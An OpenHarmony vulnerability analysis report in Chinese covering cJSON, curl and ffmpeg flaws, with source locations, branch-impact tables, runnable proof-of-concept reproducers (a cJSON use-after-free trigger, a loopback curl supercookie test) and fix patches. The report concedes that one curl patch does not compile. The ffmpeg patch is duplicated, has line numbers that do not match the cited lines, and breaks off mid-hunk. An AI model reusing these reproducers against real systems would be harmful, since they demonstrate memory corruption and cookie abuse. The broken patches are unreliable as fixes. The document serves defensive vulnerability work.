OpenHarmony 漏洞分析报告

生成日期：2026-10-22（首版 2026-10-15；10-22 重生成分支判定并同步补丁附件） 工具版本：WildTrace master（分支判定按证据强度分层） 分析范围：20 个案例（公开 CVE 缺口回验 + 新发现候选）；修复补丁见 `patches/`

> **PoC 列同时标证据层级：** ✅ 真库＝有可执行 PoC，且在真实 `.so` 上复现崩溃（IPC `0x218c4`、UDMF `0x1718a`、HiAppEvent `0xdc9a`）；✅ 等价＝有 PoC，在 ASan 等价环境复现（KV 受 AbilityRuntime 上下文隔离，未进真库）；源级＝只给源码级对照、无可执行触发器（4 个 ffmpeg 案，原因见各案第 3 节）。HiAppEvent 的库在当前构建配置下没有对应 ninja 目标，该行证据取自 2026-10-03/04 归档的 gdb 记录，未能本轮复跑。

分析对象与版本窗口

本报告的分析对象是 OpenHarmony 主干代码的逐组件检出，而非某一个全量提交：各组件的 检出/校验提交不同（随检出时点而变），逐案记录如下，便于评审按提交复算。

组件	检出/校验提交	版本 / 快照	案例数	其中可执行 PoC
third_party/cJSON	`0c2c9df`	1.7.19	1	1
third_party/curl	`f044ac3a`	20260819 快照	2	1
third_party/ffmpeg	`0a0c4dd3`	2026-06-01 快照	12	8
third_party/openssl	master	—	1	1
base/hiviewdfx/hiappevent	`de94cb4d`	—	1	1（真库，归档）
foundation/communication/ipc/interfaces/innerkits/cj	`edc6f3ab`	—	1	1（真库）
foundation/distributeddatamgr/kv_store	master	—	1	1（ASan 等价）
foundation/distributeddatamgr/udmf	`a4882ad7`	—	1	1（真库）

扫描与复核时间窗口：2026-09-22 至 2026-10-21。覆盖三批代码——dsoftbus 主扫描（1,737 文件 / 681,529 行）、CJ FFI 清扫集（714 文件 / 173,901 行）、CVE 富集 6 组件（2,339,964 行）；逐批规模与耗时见《工具性能说明》。

口径说明：

- 提交号取完整 40 位的前 12 位，完整值与分支证据见 `cases/<case>/case.json` 的 `expected_commit` 与 `branch_evidence`；curl、ffmpeg 两批按社区快照检出。
- 「可执行 PoC」指第 3 节给出可编译运行的 PoC，括号内为该案的证据层级（真库 / 等价）； 标「源级」者为源码级缺口确认，未产出运行级 PoC，原因逐案注明。
- 修复补丁统一存放于 `patches/<case>.patch`，第 5 节内联同一份内容。
- 分支影响见各案第 4 节：只声明有证据的结论，缺证据一律写 unknown，不作安全结论。 分支结论按证据强度标注——**检出级**（该案的验证基线检出，是否跑过见第 3 节）、**钉版联接**（manifest 钉住 → README 版本 → kb 区间）、**符号探测**（漏洞符号在该分支基线在位），三者不可互换； 全量分层计数见《版本分支影响矩阵》的复现/钉版/符号三列。

案例总览

#	案例	CVE	CWE	组件	发现方式	PoC / 运行证据
1	cjson_merge_alias	CVE-2026-87933	CWE-416	third_party/cJSON	缺口回验	✅
2	curl_native_ca_reuse	CVE-2026-80231	CWE-488	third_party/curl	缺口回验	源级
3	curl_psl_supercookie	CVE-2026-82209	CWE-201	third_party/curl	缺口回验	✅
4	ffmpeg_cfhd_transform2_width_oob	CVE-2026-70632	CWE-787	third_party/ffmpeg	缺口回验	源级
5	ffmpeg_dvbsub_parser_capacity_overflow	CVE-2026-70628	CWE-190 (leading to CWE-787)	third_party/ffmpeg	缺口回验	✅
6	ffmpeg_floodfill_point_stack_oob	CVE-2026-65705	CWE-787	third_party/ffmpeg	缺口回验	✅
7	ffmpeg_hqdn3d_dynamic_size_oob	CVE-2026-66036	CWE-122	third_party/ffmpeg	缺口回验	✅
8	ffmpeg_iamf_count_label_dos	CVE-2026-66037	CWE-400 (unbounded allocation DoS)	third_party/ffmpeg	缺口回验	源级
9	ffmpeg_lcldec_zlib_tail_disclosure	CVE-2026-66038	CWE-908	third_party/ffmpeg	缺口回验	✅
10	ffmpeg_nvdec_sep_ref_doublefree	CVE-2026-64832	CWE-415	third_party/ffmpeg	缺口回验	源级
11	ffmpeg_quirc_resize_oob	CVE-2026-66041	CWE-787	third_party/ffmpeg	缺口回验	✅
12	ffmpeg_rscc_short_deflate_uninit_leak	CVE-2026-70629	CWE-908	third_party/ffmpeg	缺口回验	源级
13	ffmpeg_swaprect_temp_row_oob	CVE-2026-65706	CWE-787	third_party/ffmpeg	缺口回验	✅
14	ffmpeg_ty_ac3_trim_underflow	CVE-2026-65704	CWE-191 (underflow leading to CWE-787)	third_party/ffmpeg	缺口回验	✅
15	ffmpeg_wmaenc_extradata_padding	CVE-2026-52296	CWE-125	third_party/ffmpeg	缺口回验	✅
16	hiappevent_ffi_watcher_null_filter	新发现	CWE-476	base/hiviewdfx/hiappevent	缺口回验	✅ 真库（归档）
17	ipc_cj_array_null_validation	新发现	CWE-476	foundation/communication/ipc/interfaces/innerkits/cj	缺口回验	✅ 真库
18	kv_ffi_array_validation	新发现	CWE-476	foundation/distributeddatamgr/kv_store	缺口回验	✅ 等价（ASan）
19	openssl_ocb_oneshot_iv_discard	CVE-2026-45445	CWE-325	third_party/openssl	缺口回验	✅

#	案例	CVE	CWE	组件	发现方式	PoC / 运行证据
20	udmf_ffi_setproperties_null_tag	新发现	CWE-476	foundation/distributeddatamgr/udmf	缺口回验	✅ 真库

cjson-merge-nonobject-alias

1. 源码位置与内容

项目	值
组件	third_party/cJSON
源码文件	cJSON_Utils.c
关键行号	1325-1330
CVE 编号	CVE-2026-87933
CWE 分类	CWE-416

> 源码片段：见 `cJSON_Utils.c`（关键行号 1325-1330）。源码级证据记录：consume_target_before_duplicate: cJSON_Utils.c:1325-1330；recursive_child_deallocation: cJSON.c:253-280

2. 漏洞详细描述

Non-object patch aliases a target-owned subtree or the target itself. Patch only fixes that branch; object-alias cases and product callers need separate review.

触发条件：patch 参数为待合并 target 的内部子节点（如经 cJSON_GetObjectItem(target, k) 取出的子树），cJSON_Delete(target) 先释放含 patch 的整树、cJSON_Duplicate(patch) 随后读取已释放节点；配置合并/动态 patch 类业务以取自 target 的节点为 patch 即触发，上游公告标注远程可发起。

影响路径：业务 JSON 处理路径调用 cJSONUtils_MergePatch 且 patch 来源于 target 内部子树：攻击者构造 JSON 文档诱导业务以'取自 target 的子节点'为 patch 发起合并 → UAF；实际影响取决于调用方使用方式与堆布局。

3. PoC 源代码

```
/* Local regression reproducer for the public cJSON MergePatch alias issue.
 * Fixed, tiny inputs only. No network, external input, or exploit payload.
 * In alias modes the library consumes target AND its borrowed patch subtree.
 * The caller deliberately never deletes either stale pointer after merging.
 */
#include <stdio.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(int argc, char **argv)
{
    cJSON *target = NULL, *patch = NULL, *result = NULL, *expected = NULL;
    const char *want = NULL;
    int owns_patch = 0, sensitive = 0, ok;
    if (argc < 2 || argc > 3) return 64;
    if (argc == 3) {
        if (strcmp(argv[2], "sensitive")) return 64;
        sensitive = 1;
    }
    if (!strcmp(argv[1], "subtree")) {
        target = cJSON_Parse("{\"payload\":[1,2,3],\"keep\":true}");
        if (!target) return 70;
        patch = cJSON_GetObjectItemCaseSensitive(target, "payload");
        want = "[1,2,3]";
    } else if (!strcmp(argv[1], "scalar-subtree")) {
        target = cJSON_Parse("{\"payload\":7}");
        if (!target) return 70;
        patch = cJSON_GetObjectItemCaseSensitive(target, "payload");
        want = "7";
    } else if (!strcmp(argv[1], "self-array")) {
        target = cJSON_Parse("[1,2,3]");
        patch = target;
        want = "[1,2,3]";
    } else if (!strcmp(argv[1], "independent")) {
        target = cJSON_Parse("{\"a\":1}");
        patch = cJSON_Parse("[{\"b\":2}]");
        owns_patch = 1;
        want = "[{\"b\":2}]";
    } else if (!strcmp(argv[1], "detached")) {
        target = cJSON_Parse("{\"payload\":[1,2,3]}");
        if (!target) return 70;
        patch = cJSON_DetachItemFromObjectCaseSensitive(target, "payload");
        owns_patch = 1;
        want = "[1,2,3]";
    } else if (!strcmp(argv[1], "object-merge")) {
        target = cJSON_Parse("{\"a\":1,\"keep\":[1,2]}");
        patch = cJSON_Parse("{\"a\":2,\"add\":3}");
        owns_patch = 1;
        want = "{\"a\":2,\"keep\":[1,2],\"add\":3}";
    } else if (!strcmp(argv[1], "object-delete")) {
        target = cJSON_Parse("{\"a\":1,\"keep\":2}");
        patch = cJSON_Parse("{\"a\":null}");
        owns_patch = 1;
        want = "{\"keep\":2}";
    } else return 64;
    if (!target || !patch) {
        if (owns_patch) cJSON_Delete(patch);
        cJSON_Delete(target);
        return 70;
    }
```

```
    result = sensitive ? cJSONUtils_MergePatchCaseSensitive(target, patch)
                       : cJSONUtils_MergePatch(target, patch);
    /* MergePatch may destroy target. Never use/delete target again. */
    target = NULL;
    if (!owns_patch) patch = NULL;
    expected = cJSON_Parse(want);
    ok = result && expected && cJSON_Compare(result, expected, 1);
    cJSON_Delete(result);
    cJSON_Delete(expected);
    if (owns_patch) cJSON_Delete(patch);
    if (!ok) return 71;
    printf("CASE_OK %s %s\n", argv[1], sensitive ? "sensitive" : "normal");
    return 0;
}
```

PoC 使用方法： 使用工作台 cJSON 隔离验证，或 tools/cjson_case.py prepare / run / verify-runtime；源码提交必须匹配 case.json。

4. 影响分析

影响的代码模块：third_party/cJSON

影响的功能模块：cJSON

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 cjson 1.7.16，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 cjson 1.7.17，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 cjson 1.7.17，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 cjson 1.7.17，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 cjson 1.7.19，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0c2c9df；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复（补丁见 `patches/cjson_merge_alias.patch`）

修复补丁（`patches/cjson_merge_alias.patch`）：

```
--- a/cJSON_Utils.c
+++ b/cJSON_Utils.c
@@ -1325,8 +1325,9 @@
     if (!cJSON_IsObject(patch))
     {
         /* scalar value, array or NULL, just duplicate */
+        cJSON *duplicate = cJSON_Duplicate(patch, 1);
         cJSON_Delete(target);
-        return cJSON_Duplicate(patch, 1);
+        return duplicate;
     }

     if (!cJSON_IsObject(target))
```

---

curl-native-ca-reuse-mismatch

1. 源码位置与内容

项目	值
组件	third_party/curl
源码文件	lib/vtls/vtls.c
关键行号	176
CVE 编号	CVE-2026-80231
CWE 分类	CWE-488

> 源码片段：见 `lib/vtls/vtls.c`（关键行号 176）。源码级证据记录：native_ca_store appears only in setopt.c:2470/2485 (option assignment) and urldata.h:340 (field definition) plus legitimate backend reads (gtls.c/openssl.c/wolfssl.c/doh.c); the connection-reuse comparison match_ssl_primary_config() at lib/vtls/vtls.c:176 lists every other ssl_primary_config field but omits native_ca_store

2. 漏洞详细描述

libcurl reuses an HTTPS connection without checking that both requests used the same CURLSSLOPT_NATIVE_CA disposition, so the second request may be validated in a weaker CA-store context than requested.

触发条件：同一主机先后两次 HTTPS 请求间混用 CURLSSLOPT_NATIVE_CA 开关（默认 CA → NATIVE_CA 或反向）；该选项仅 Schannel/GnuTLS 等特定 TLS 后端支持，运行级复现需对应后端环境（Linux 最小构建不触发，本案如实申报为源级）。

影响路径：应用在不同请求间对同一主机混用 NATIVE_CA 设置：OH 检出连接匹配逻辑未比较 native_ca_store（grep 零出现；上游 vtls_config.c:144 已修），第二个请求复用既有连接，证书校验语境与请求方指定 CA 来源不一致。

3. PoC 源代码

> ⚠ 本案 PoC 为源码级对照验证，无可执行触发器（原因见下）

PoC 使用方法： 源级三侧对照（无运行级 PoC，如实申报）：a) 上游 curl master vtls_config.c:144 连接比较含 native_ca_store；b) OH 检出 grep -rn native_ca_store 仅 setopt.c 两处赋值与 urldata.h 字段定义，连接匹配零出现；c) 官方受影响清单含 8.8.0（OH 快照基线）。运行级复现路径：Windows+Schannel 下同主机两请求切换 CURLSSLOPT_NATIVE_CA，CURLINFO_NUM_CONNECTS 观测复用差异。

4. 影响分析

影响的代码模块：third_party/curl

影响的功能模块：curl

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 curl 8.4.0，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 curl 8.6.0，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 curl 8.8.0，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 curl 8.8.0，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 curl 8.8.0，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 f044ac3ac942；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

上游修复口径：连接复用判定补入 native_ca_store，使 HTTPS 连接复用时校验原生 CA 存储设置差异（该位定义在 ssl_config_data，而 Curl_ssl_conn_config_match() 只比较 ssl_primary_config，见下方修复方向）（字段枚举遗漏定位见 case.json oh_source.gap_evidence 与工单 OHSA26-092209031 源码级证据评论）。

修复方向（示意，未编译验证）： `native_ca_store` 位于 `struct ssl_config_data`，而 `Curl_ssl_conn_config_match()` 只比较 `ssl_primary_config`，该位的差异因此不会进入连接复用判定。最小改动是让候选连接记住该位并在比较时一并判断：

```
/* lib/vtls/vtls.c: Curl_ssl_conn_config_match() */
if(data->set.ssl.native_ca_store != candidate->native_ca_store_cached)
    return FALSE;
```

`native_ca_store_cached` 需在 `Curl_ssl_setup_conn()` 建连时从 `data->set.ssl` 复制（与 `ssl_config` 的复制同一处）。

注意： `cases/curl_native_ca_reuse/patch.diff` 里那一行是 `c1->native_ca_store == c2->native_ca_store`，但该位定义在 `struct ssl_config_data`，而 `match_ssl_primary_config()` 的两个形参都是 `ssl_primary_config` —— 这份附件表达的是语义，按现状编译不过，落地需按上面的方向改。

---

curl-psl-supercookie-tailmatch

1. 源码位置与内容

项目	值
组件	third_party/curl
源码文件	lib/cookie.c
关键行号	1049
CVE 编号	CVE-2026-82209
CWE 分类	CWE-201

> 源码片段：见 `lib/cookie.c`（关键行号 1049）。源码级证据记录：upstream fix 2026-08-28 postdates the 20260819 snapshot; no backport commit found (grep CVE id + recent log); OH's lib/cookie.c retains the pre-refactor PSL structure without the tailmatch-clearing logic at the psl_is_cookie_domain_acceptable call site (line ~1049)

2. 漏洞详细描述

With libpsl enabled, libcurl accepts a cookie whose Domain equals the request host when that host is itself a public suffix, keeping tailmatch=TRUE — a supercookie matching all subdomains of the suffix.

触发条件：HTTP response to a request for a PSL-listed host (e.g. localhost) carrying Set-Cookie with Domain equal to that host.

影响路径：目标使用 libcurl 且启用 USE_LIBPSL+cookie 引擎，访问主机名恰为公共后缀的服务端点（localhost 类本地服务/特殊内网域）；攻击者控制该主机响应下发 Set-Cookie: Domain=<公共后缀主机名> → cookie 以 .主机名 通配域入库，对同后缀任意子域可注入/读取（会话固定/跨子域跟踪），不直接代码执行。

3. PoC 源代码

```
/*
 * PoC: CVE-2026-82209 / curl-psl-supercookie-tailmatch
 *
 * Standalone libcurl PoC (public API only, loopback network only).
 * An in-process HTTP server answers on 127.0.0.1 and the client requests
 * http://localhost:PORT/ (pinned to 127.0.0.1 via CURLOPT_RESOLVE).
 * libpsl lists "localhost" as a public suffix.
 *
 * Modes (argv[1]):
 *   psl-supercookie  server sets "Set-Cookie: flavor=bad; Domain=localhost"
 *                    VULNERABLE  -> cookie stored with tailmatch (domain
 *                                   field reported with a leading dot)
 *                    FIXED       -> tailmatch cleared (no leading dot)
 *   non-psl-control  Domain=poc.localhost (not a suffix): tailmatch retained
 *                    on BOTH original and patched builds (no regression).
 *
 * Exit codes: 0 = expectation met, 1 = expectation violated, 2 = transport
 * error (never treated as a verdict). Expectation is printed as
 * "CASE_OK <mode> tailmatch=<0|1>" for machine classification.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <curl/curl.h>

static int make_listener(uint16_t *port_out) {
  int fd = socket(AF_INET, SOCK_STREAM, 0);
  if(fd < 0) return -1;
  struct sockaddr_in addr;
  memset(&addr, 0, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  addr.sin_port = 0;
  if(bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(fd); return -1; }
  socklen_t len = sizeof(addr);
  if(getsockname(fd, (struct sockaddr *)&addr, &len) < 0) { close(fd); return -1; }
  if(listen(fd, 1) < 0) { close(fd); return -1; }
  *port_out = ntohs(addr.sin_port);
  return fd;
}

struct server_cfg { int fd; const char *set_cookie; int served; };

static void *serve_once(void *arg) {
  struct server_cfg *cfg = (struct server_cfg *)arg;
  int c = accept(cfg->fd, NULL, NULL);
  if(c < 0) return NULL;
  char buf[4096];
  ssize_t n = recv(c, buf, sizeof(buf) - 1, 0);
  (void)n;
  char response[1024];
  int len = snprintf(response, sizeof(response),
      "HTTP/1.1 200 OK\r\n"
      "Content-Type: text/plain\r\n"
      "Set-Cookie: %s\r\n"
      "Content-Length: 2\r\n"
```

```
      "Connection: close\r\n"
      "\r\nhi", cfg->set_cookie);
  if(len > 0) (void)send(c, response, (size_t)len, 0);
  /* drain any second request (redirect/follow-ups none expected) */
  shutdown(c, SHUT_WR);
  close(c);
  cfg->served = 1;
  return NULL;
}

static size_t drop(void *ptr, size_t sz, size_t nm, void *ud) {
  (void)ptr; (void)ud; return sz * nm;
}

/* Returns 1 if any cookie's domain starts with '.', else 0; -1 on error. */
static int any_tailmatch_dot(struct curl_slist *cookies, const char *needle) {
  for(struct curl_slist *it = cookies; it; it = it->next) {
    /* Netscape line: domain \t flag \t path \t secure \t expiry \t name \t value */
    if(strncmp(it->data, needle, strlen(needle)) == 0 && it->data[0] == '.')
      return 1;
    if(it->data[0] == '.' && strstr(it->data, needle))
      return 1;
  }
  return 0;
}

int main(int argc, char **argv) {
  if(argc < 2) { fprintf(stderr, "usage: %s <psl-supercookie|non-psl-control>\n", argv[0]); return 2;
}
  const char *mode = argv[1];
  const char *set_cookie;
  int expect_tailmatch;   /* what the ORIGINAL (vulnerable) build produces */
  if(strcmp(mode, "psl-supercookie") == 0) {
    set_cookie = "flavor=bad; Domain=localhost; Path=/";
    expect_tailmatch = 1;   /* vulnerable keeps tailmatch; fix clears it */
  } else if(strcmp(mode, "non-psl-control") == 0) {
    set_cookie = "flavor=good; Domain=poc.localhost; Path=/";
    expect_tailmatch = 1;   /* retained on both builds */
  } else { fprintf(stderr, "unknown mode\n"); return 2; }
  const int control_host = (strcmp(mode, "non-psl-control") == 0);
  const char *host = control_host ? "poc.localhost" : "localhost";

  uint16_t port = 0;
  int fd = make_listener(&port);
  if(fd < 0) { perror("listener"); return 2; }
  struct server_cfg cfg = { fd, set_cookie, 0 };
  pthread_t th;
  if(pthread_create(&th, NULL, serve_once, &cfg) != 0) { close(fd); return 2; }

  char url[128], resolve[64];
  snprintf(url, sizeof(url), "http://%s:%u/", host, (unsigned)port);
  snprintf(resolve, sizeof(resolve), "%s:%u:127.0.0.1", host, (unsigned)port);

  CURL *curl = curl_easy_init();
  if(!curl) { close(fd); return 2; }
  struct curl_slist *res = curl_slist_append(NULL, resolve);
  curl_easy_setopt(curl, CURLOPT_URL, url);
  curl_easy_setopt(curl, CURLOPT_RESOLVE, res);
  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, drop);
  curl_easy_setopt(curl, CURLOPT_COOKIEFILE, "");  /* enable cookie engine */
  CURLcode rc = curl_easy_perform(curl);

  int verdict = -1;
```

```
  if(rc == CURLE_OK) {
    struct curl_slist *cookies = NULL;
    if(curl_easy_getinfo(curl, CURLINFO_COOKIELIST, &cookies) == CURLE_OK && cookies) {
      const char *needle = (strcmp(mode, "psl-supercookie") == 0) ? "localhost" : "poc.localhost";
      verdict = any_tailmatch_dot(cookies, needle);
      curl_slist_free_all(cookies);
    } else {
      verdict = -1;
    }
  }
  curl_slist_free_all(res);
  curl_easy_cleanup(curl);
  pthread_join(th, NULL);
  close(fd);

  if(verdict < 0) { fprintf(stderr, "no cookie observation\n"); return 2; }
  printf("CASE_OK %s tailmatch=%d\n", mode, verdict);
  /* Both modes: the ORIGINAL build must show tailmatch=1.
     The PATCHED build differs only in psl-supercookie (tailmatch=0). */
  return (verdict == expect_tailmatch) ? 0 : 1;
}
```

PoC 使用方法： 源码等价运行级（curl-8.8.0，OH lib/cookie.c 与其逐文件 diff 84 行等价）：./configure --without-ssl --with-libpsl && make -C lib；clang -fsanitize=address,undefined -I/include poc.c /lib/.libs/libcurl.a -lpsl -lpthread -o probe；./probe psl-supercookie：原版 tailmatch=1（域字段 .localhost，漏洞行为）→ 应用 `patches/curl_psl_supercookie.patch` 重建 → tailmatch=0（修复生效）；non-psl-control 对照两侧均 1（无回归）。

libcurl sources (OH tree) built with USE_LIBPSL; libpsl dev package; POSIX sockets (loopback only)

4. 影响分析

影响的代码模块：third_party/curl

影响的功能模块：curl

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 curl 8.4.0，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 curl 8.6.0，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 curl 8.8.0，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 curl 8.8.0，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 curl 8.8.0，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 f044ac3ac942；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

After psl_is_cookie_domain_acceptable() accepts, clear co->tailmatch when the cookie domain is itself a public suffix (upstream 95c1e891, adapted to OH's pre-refactor structure).

修复补丁（`patches/curl_psl_supercookie.patch`）：

```
# Narrow fix for CVE-2026-82209 adapted to OpenHarmony third_party/curl
# (upstream 95c1e891 assumes the is_public_suffix() wrapper introduced by a
# later refactor; OH's 20260819-snapshot cookie.c checks PSL inline).
# Core semantics preserved verbatim: an accepted cookie whose domain is
# itself a public suffix must not stay tailmatching.
#
# Apply against lib/cookie.c @ f044ac3 (sha256 0327ce5c...).
--- a/lib/cookie.c
+++ b/lib/cookie.c
@@ -1049,6 +1049,13 @@
         Curl_strntolower(lcookie, co->domain, clen);
         lcookie[clen] = 0;
         acceptable = psl_is_cookie_domain_acceptable(psl, lcase, lcookie);
+
+        /* CVE-2026-82209: if the cookie is acceptable, but is set for a PSL
+           domain, then it cannot be tailmatching */
+        if(acceptable && co->tailmatch &&
+           curl_strequal(co->domain, domain) &&
+           psl_is_public_suffix(psl, lcookie))
+          co->tailmatch = FALSE;
+
         Curl_psl_release(data);
       }
       else
```

补丁文件：`patches/curl_psl_supercookie.patch`（内容同上）。

---

ffmpeg-cfhd-transform2-width-oob

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	cfhd.c
关键行号	969
CVE 编号	CVE-2026-70632
CWE 分类	CWE-787

> 源码片段：见 `cfhd.c`（关键行号 969）。源码级证据记录：cfhd.c:969 and :1010 plane-size checks lack 'lowpass_width * 2 > s->plane[plane].width'; the similar check at :1049 is pre-existing code on another path. Both upstream fix diffs apply clean

2. 漏洞详细描述

CFHD transform-2 output width (lowpass_width*2) is stream-controlled and unbounded by plane width; decode writes past the plane allocation — heap OOB write, triggerable during stream probing via a crafted AVI.

触发条件：带超宽 lowpass_width 的 CFHD transform-2 码流：cfhd.c:969/1010 两处平面尺寸校验未约束 lowpass_width*2 ≤ s->plane[plane].width，探测阶段即可触发堆越界写。

影响路径：产品用 ffmpeg 解复用/探测不可信媒体（CFHD 系码流）：攻击者提供构造码流即触发越界写，无需特权，应用自动处理不可信输入时无需用户交互。

3. PoC 源代码

> ⚠ 本案 PoC 为源码级对照验证，无可执行触发器（原因见下）

PoC 使用方法： 源级三侧对照：a) 上游 db05df9d/16b2049d 修复 diff（上游样本名 cfhd_transform2_output_width_oob.avi）；b) OH 检出 cfhd.c:969/1010 均无 lowpass_width*2 校验（修复前形态）；c) 与上游 n7.1.1 逐字节一致、官方清单含 7.1.1，两 diff 对 OH 检出 git apply --check 通过。运行级路径：按样本构造码流 ASan 构建下观测越界写。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复（补丁见 `patches/ffmpeg_cfhd_transform2_width_oob.patch`）

修复补丁（`patches/ffmpeg_cfhd_transform2_width_oob.patch`）：

```
diff --git a/libavcodec/cfhd.c b/libavcodec/cfhd.c
index 4d430e32efd94..128362ac62dcf 100644
--- a/libavcodec/cfhd.c
+++ b/libavcodec/cfhd.c
@@ -1224,7 +1224,7 @@ static int cfhd_decode(AVCodecContext *avctx, AVFrame *pic,

             if (lowpass_height > s->plane[plane].band[4][1].a_height || lowpass_width > s->plane[plan
e].band[4][1].a_width ||
                 !highpass_stride || s->plane[plane].band[4][1].width > s->plane[plane].band[4][1].a_w
idth ||
-                lowpass_width < 3 || lowpass_height < 3) {
+                lowpass_width < 3 || lowpass_height < 3 || lowpass_width * 2 > s->plane[plane].width)
{
                 av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n");
                 ret = AVERROR(EINVAL);
                 goto end;
@@ -1345,7 +1345,7 @@ static int cfhd_decode(AVCodecContext *avctx, AVFrame *pic,

             if (lowpass_height > s->plane[plane].band[4][1].a_height || lowpass_width > s->plane[plan
e].band[4][1].a_width ||
                 s->plane[plane].band[4][1].width > s->plane[plane].band[4][1].a_width ||
-                lowpass_width < 3 || lowpass_height < 3) {
+                lowpass_width < 3 || lowpass_height < 3 || lowpass_width * 2 > s->plane[plane].width)
{
                 av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n");
                 ret = AVERROR(EINVAL);
                 goto end;
diff --git a/libavcodec/cfhd.c b/libavcodec/cfhd.c
index 4d430e32efd94..128362ac62dcf 100644
--- a/libavcodec/cfhd.c
+++ b/libavcodec/cfhd.c
@@ -1224,7 +1224,7 @@ static int cfhd_decode(AVCodecContext *avctx, AVFrame *pic,

             if (lowpass_height > s->plane[plane].band[4][1].a_height || lowpass_width > s->plane[plan
